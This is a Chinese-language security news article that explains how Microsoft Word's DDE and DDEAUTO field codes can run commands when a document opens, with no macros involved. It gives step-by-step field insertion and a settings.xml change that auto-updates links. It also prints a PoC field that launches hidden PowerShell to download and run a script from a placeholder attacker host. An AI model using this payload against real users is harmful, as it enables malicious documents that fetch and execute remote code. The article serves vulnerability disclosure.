【内含POC】无宏代码执行漏洞使word成为恶意软件传播媒介!

congtou 2017-10-12 最新漏洞 0 0
MSWord被曝含有高危漏洞,可能导致电脑被黑,被安装木马、后门等危险后果。通常的代码执行需要利用宏或内存损坏漏洞,那么有没有一种办法,可以在没有宏或没有内存损坏漏洞的MSWord上执行命令呢?

Windows上有几种在应用程序之间传输数据的方法。

其中一种方法就是使用动态数据交换(DDE)协议。DDE协议可在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间交换数据。

应用程序可以使用DDE协议进行一次性的数据传输,在数据可用的情况下,应用程序可以在不断的交换中相互发送数据。

DDE与Office
最近我们研究了一些与MSOffice相关的COM方法,发现COM方法如DDEInitialize和DDEExecute很容易被MSExcel及MSWord暴露。由于DDE可以在MSExcel上执行命令,我们决定探究DDE在MSWord中的使用情况,并查看DDE是否也可以在MSWord上执行命令。经研究,我们发现:DDE可以在MSWord中的Field中使用

想要为MSWord添加一个Field,我们还需要以下操作:

Insert tab -> Quick Parts -> Field

1

接着,我们在文档中看到一个错误Field

“!Unexpected End of Formula”

右击该字段,选择Toggle字段代码

1

更改图中出现的字段代码,使其包含以下内容:
1
这里的DDEAUTO可以在MSWord中运行,并在文档打开时自动执行。文档的第二部分是执行文件的完整路径,引号之间的最后一部分是传递可执行文件的参数。1

另一种方法是利用CTRL + F9创建一个空的字段标识符,直接插入DDE公式。然后将文档保存为普通的word文档,并在任意设备上打开它。

1

以下警告提示我们更新文档链接:

1

接着出现第二个警告,提示我们运行指定的应用程序,并要求我们执行“cmd.exe“程序。当用特殊语法时,该程序可以被完全隐藏。

1

当我们点击“yes”时会出现以下界面:

1

上图既没有出现宏,也没有出现安全警告

1

无任何杀毒软件检测出无宏代码执行漏洞
DDEAUTO演示POC
我们用一个Empire launcher程序编写了一个演示视频,用以演示该POC:{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}

DDE演示POC
{DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" }最后我们还需要修改.docx,确保自动链接更新,打开存档管理器中的.docx并打开word / settings.xml。然后将下面的XML标记插入到docPr元素中:<w:updateFields w:val="true"/>

保存设置文件,更新存档。现在Word会提示自动更新链接,与DDEAUTO的结果完全相同。

1

转载请注明来自华盟网,本文标题:《【内含POC】无宏代码执行漏洞使word成为恶意软件传播媒介!》

喜欢 (0) 发布评论